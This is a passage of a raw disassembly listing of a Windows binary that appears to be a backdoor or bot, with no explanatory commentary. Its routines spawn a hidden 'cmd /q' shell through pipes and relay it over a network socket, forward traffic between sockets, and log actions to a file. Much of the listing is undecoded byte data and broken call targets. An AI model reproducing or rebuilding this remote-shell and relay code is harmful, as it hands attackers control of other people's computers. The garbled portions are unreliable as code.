43106850h, 59E80043h, 59000047h, 0FC15FF59h dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 84E89057h, 53022CFFh dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h dd 0B075FF00h, 0AFA415FFh, 66A004Ch, 66026A57h, 89E24589h dd 15FFE475h, 4CB024h, 0FB83D88Bh, 3B840FFFh, 8B000001h dd 106AB445h, 234C069h, 98890000h, 43DEECh, 50E0458Dh dd 0D015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh dd 0CC15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342D4h dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB038h dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h dd 0FFFF68h, 15FF5700h, 4CAF84h, 74FFF883h, 45B70FC5h dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB03015h, 858D5000h dd 0FFFFFBECh, 43429068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0E4888924h dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh dd 56F0458Dh, 0E5E89050h, 8B0226F3h, 0C969B84Dh, 234h dd 8189C63Bh, 43DEF4h, 75391374h, 37850FC8h, 6AFFFFFFh dd 0D1E89032h, 0EB022602h, 81E890EDh, 500226FBh, 43425468h dd 45CEE800h, 59590000h, 7D8B03EBh, 3815FF08h, 50004CAFh dd 0FBEC858Dh, 1C68FFFFh, 50004342h, 0AC15E8h, 0CC48300h dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB03C15h, 15FF5300h dd 4CB03Ch, 0AEFC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh dd 2CFD9AE8h, 335B9002h, 244439C0h, 0C0940F04h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: ___:0041096Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43DEEC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 call near ptr 26807C8h nop push eax push offset unk_4343B4 call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 call near ptr 26807C8h nop push eax push offset unk_4343B4 call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 269064Ah loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call near ptr 2790DBEh nop sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 nop call near ptr 26807C8h push eax push offset unk_434380 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j call near ptr 269064Ah nop push 1 push dword ptr [esi+8] nop call near ptr 2710BFCh loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB03C push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E89 nop call near ptr 26807C8h push eax push offset unk_434464 jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB1 nop call near ptr 26807C8h push eax push offset unk_434424 loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_4343FC call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2720000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 2660C90h test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43DEE8[eax], ecx call near ptr 26609B7h nop jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj nop call near ptr 26807C8h push eax push offset unk_4344A4 call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CAFF4 test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A5 call esi push eax push offset dword_4344E4 call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CAFBC test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx nop call near ptr 2790E97h jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CAFF4 test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call near ptr 2700000h nop test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; --------------------------------------------------------------------------- byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h dd 75FF0002h, 0A415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h dd 0FFF07589h, 4CB02415h, 8BF88B00h, 0C069C445h, 234h dd 0ECB88953h, 8D0043DEh, 5750EC45h, 0AFD015FFh, 0C085004Ch dd 121850Fh, 0A6A0000h, 0CC15FF57h, 85004CAFh, 10850FC0h dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh dd 0FFFD2C85h, 0B8EC68FFh, 0E8500042h, 0A606h, 3910C483h dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h dd 4CB038h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h dd 0B03015FFh, 8D50004Ch, 0FFFD2C85h, 459068FFh, 0E8500043h dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEE4h, 5008458Dh dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h, 26ECD7E8h dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEF48189h, 13740043h dd 0FD87539h, 0FFFF6385h, 90056AFFh, 25FBC3E8h, 0E8EDEB02h dd 226F474h, 858D5090h, 0FFFFFD2Ch, 43455468h, 1FE85000h dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B03C15FFh, 75FF004Ch dd 2C858DC0h, 68FFFFFDh, 434520h, 0A4FCE850h, 0C4830000h dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh dd 0F695E856h, 5F90022Ch, 8B555B5Eh, 0D4EC81ECh, 8B000005h dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h dd 89016AD4h, 0F6690875h, 234h, 0ECB68D5Fh, 890043DEh dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh dd 8C15FFFFh, 85004CAFh, 0FF1875C0h, 3C15FF36h, 0FF004CB0h dd 0C7E80875h, 59FFFF9Fh, 10E89053h, 53022CF6h, 0FB30858Dh dd 868FFFFh, 50000004h, 15FF36FFh, 4CAFBCh, 187FC085h dd 15FF36FFh, 4CB03Ch, 0E80875FFh, 0FFFF9F96h, 0E0E85359h dd 90022CF5h, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h dd 38858D50h, 50FFFFFBh, 43465868h, 3D52E800h, 680000h dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh dd 36FF5008h, 0AFF415FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch dd 9F00E808h, 5359FFFFh, 2CF54AE8h, 106A9002h, 53E8458Dh dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h dd 0B02415FFh, 0F88B004Ch, 75FFFF83h, 3815FF5Dh, 50004CAFh dd 43461868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFF415FFh dd 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh dd 0F4B1E890h, 458D022Ch, 50106AE8h, 4C15FF57h, 83004CAFh dd 5D75FFF8h, 0AF3815FFh, 6850004Ch, 4345D4h, 3C4BE8h dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h dd 86A53FFh, 0FF36FF50h, 4CAFF415h, 0FF36FF00h, 4CB03C15h dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2CF442E8h, 4006802h dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh dd 0FF36FF50h, 4CAFF415h, 5736FF00h, 39E8h, 57595900h dd 0B03C15FFh, 36FF004Ch, 0B03C15FFh, 75FF004Ch, 9D9CE808h dd 5359FFFFh, 2CF3E6E8h, 36FF9002h, 0B03C15FFh, 75FF004Ch dd 9D84E808h, 5359FFFFh, 0F3CDE890h ; --------------------------------------------------------------------------- sub al, 2 push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: ___:0041175Bj ; ___:0041178Bj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C4: ; CODE XREF: ___:004116D2j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: ___:004116C9j cmp ecx, 1 jnz short loc_4116E9 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116E9: ; CODE XREF: ___:004116D7j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CAF8C lea eax, [ebp-104h] push eax push ebx call dword_4CAE90 test eax, eax jz short loc_411749 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CAFBC cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: ___:0041171Bj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CAE90 test eax, eax jz loc_4116AC push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CAFBC cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: ___:00411730j ; ___:00411747j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do ; sub_40BACD+106o dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h dd 4CB02415h, 83F08B00h, 5675FFFEh, 19068h, 0F726E800h dd 39900225h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0F22DE890h, 458D022Ch dd 50046AF0h, 0FFFFBFh, 57046A00h, 8415FF56h, 8D004CAFh dd 46AEC45h, 57FB6A50h, 8415FF56h, 8B004CAFh, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 43DEECh, 50D4458Dh, 9D17E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AFA415FFh dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFD015FFh dd 0F883004Ch, 681975FFh, 1388h, 0F65EE890h, 8DFF0225h dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h dd 90000001h, 25F62BE8h, 858D5302h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9AF6h, 531CC483h, 0F13DE890h, 7D8B022Ch, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 4CAF8C15h, 0FC08500h, 2398Eh dd 0D158A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 0AF7C15FFh, 75FF004Ch dd 0F84589C8h, 0B03015FFh, 8D50004Ch, 0E850B045h, 9EAEh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4CB00815h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 4346C4h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4CB008h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 0A468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDAAC05h, 16EB5900h dd 8DF475FFh, 5350C445h, 9868096Ah, 56004346h, 0B00815FFh dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB03C15h dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 0EE69E853h, 6890022Ch dd 3E8h, 0F30AE890h, 0E8570225h, 0FFFFFB8Ah, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax nop call near ptr 27A0000h lea eax, [ebp-114h] push 104h push eax nop call near ptr 2670A87h lea eax, [ebp-114h] push offset asc_434E84 ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429118 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: ___:00411C73j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CEF push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_434E54 push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A72 add esp, 24h loc_411CEF: ; CODE XREF: ___:00411CB6j xor eax, eax loc_411CF1: ; CODE XREF: ___:00411C78j pop esi leave retn ; --------------------------------------------------------------------------- dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h ; DATA XREF: sub_401ACD+4508o dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh dd 9080h, 